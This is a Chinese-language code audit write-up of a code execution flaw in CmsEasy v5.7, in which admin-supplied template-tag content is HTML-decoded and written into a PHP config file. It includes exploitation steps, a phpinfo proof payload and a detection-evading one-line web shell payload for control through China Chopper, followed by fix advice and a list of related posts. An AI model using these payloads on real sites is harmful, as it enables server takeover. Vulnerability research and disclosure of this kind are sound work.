0x00 环境准备

CmsEasy官网:http://www.cmseasy.cn/

网站源码版本:CmsEasy_v5.7_UTF8-0208

程序源码下载:

http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.7_UTF-8_20180208.zip

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/lib/table/table_templatetagwap.php 第3-20行:

  1. class table_templatetag extends table_mode {
  2. function vaild() {
  3. if(!front::post('name')) {
  4. front::flash('请填写名称!');
  5. return false;
  6. }
  7. if(!front::post('tagcontent')) {
  8. front::flash('请填写内容!');
  9. return false;
  10. 10.         }
  11. 11.         return true;
  12. 12.     }
  13. 13.     function save_before() {
  14. 14.         if(!front::post('tagfrom')) front::$post['tagfrom']='define';
  15. 15.         if(!front::post('attr1')) front::$post['attr1']='0';
  16. 16.         if(front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
  17. 17.     }

18. }

可以看到在写入文件之前,使用htmlspecialchars_decode函数把预定义的 HTML 实体 "<"(小于)和 ">"(大于)转换为字符。因此我们可以使用双引号闭合,从而构造出Payload写入文件,进一步触发代码,导致程序在实现上存在代码执行漏洞。攻击者可通过构造恶意脚本代码写入配置文件,从而执行命令,控制网站服务器权限。

0x02 漏洞利用

1、登录后台, 模板--自定义标签—添加自定义标签--填写Payload—提交:

Payload: 1111111111";}<?php phpinfo()?>

2、提交保存后,点击预览,成功触发代码,或者查看id的值,然后直接访问文件路径:http://127.0.0.1/config/tag/category_13.php

3、附绕代码检测的一句话Payload: 11";}<?php assert($_POST[g]);?>

通过菜刀连接,控制网站服务器:

0x03 修复建议

1、写入配置文件前,对特殊字符(如”、<、>等)进行htmlencode处理;

2、全局配置可考虑写入数据库进行调用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】CmsEasy_v5.7 代码执行漏洞分析的更多相关文章

  1. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  2. 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...

  3. 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  4. 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析

      0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...

  5. 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  6. 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  7. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  8. 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  9. 【代码审计】DouPHP_v1.3代码执行漏洞分析

      0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...

随机推荐

  1. Sword protobuf学习二

    编写protobuf消息文件 文件格式: xxx.proto //标明使用哪个版本的protobuf,默认2.0版本 syntax = "proto3"; //类似于c++中的na ...

  2. JSP之静态include指令、动态Include指令

    (一)使用静态include指令 <%@ page language="java" contentType="text/html; charset=gb2312&q ...

  3. 3D引擎Axiom的选择与学习.

    经过前面针对OpenGL的一些特性的学习,越发觉得要学的更多,相关如LOD,各种阴影实现,场景管理如BSP与Octree等以及还没听过的各种的实现.有感自学的进度太慢,并且在做一些小DEMO时,心中不 ...

  4. python __getattr__

    1.__getattr__ 方法的作用:当调用不存在的属性,就会调用__getattr__()方法: 当一般位置找不到attribute的时候,会调用getattr,返回一个值或AttributeEr ...

  5. 自定义python web框架

    -- Bootstrap http://www.bootcss.com/ -- Font Awesome http://fontawesome.io/ -- bxslider http://bxsli ...

  6. 高通 双MIC 设置

    android O中设置双MIC降噪,需要在build.prop添加属性"ro.vendor.audio.sdk.fluencetype"属性. 属性值位于hardware/qco ...

  7. JAVA编程环境JDK与JRE运行环境与API核心ClassMap

    JDK(Java Development Kit)称为Java开发包或Java开发工具,是一个编写Java的Applet小程序和应用程序的程序开发环境.JDK是整个Java的核心1.Java运行环境( ...

  8. unity执行顺序问题(如何再次执行start方法)

    2016-09-08 20:13 2084人阅读 评论(1) 收藏 举报  分类: unity3D(66)  版权声明:本文为博主原创文章,未经博主允许不得转载. unity执行顺序的文章已经很多了, ...

  9. Linux Shell的 & 、&& 、 ||

    Linux Shell的 & .&& . || 收藏 hanzhankang 发表于 3年前 阅读 18472 收藏 20 点赞 4 评论 0 开程序员的淘宝店!寻找开源技术服 ...

  10. miRTarBase 数据库简介

    miRTarBase 是一个手 收集的,经过实验验证过miRNA靶基因的数据库,对于每条miRNA靶基因的记录, 都会赋予1个唯一的 miRNA-target interactions (简称MTs) ...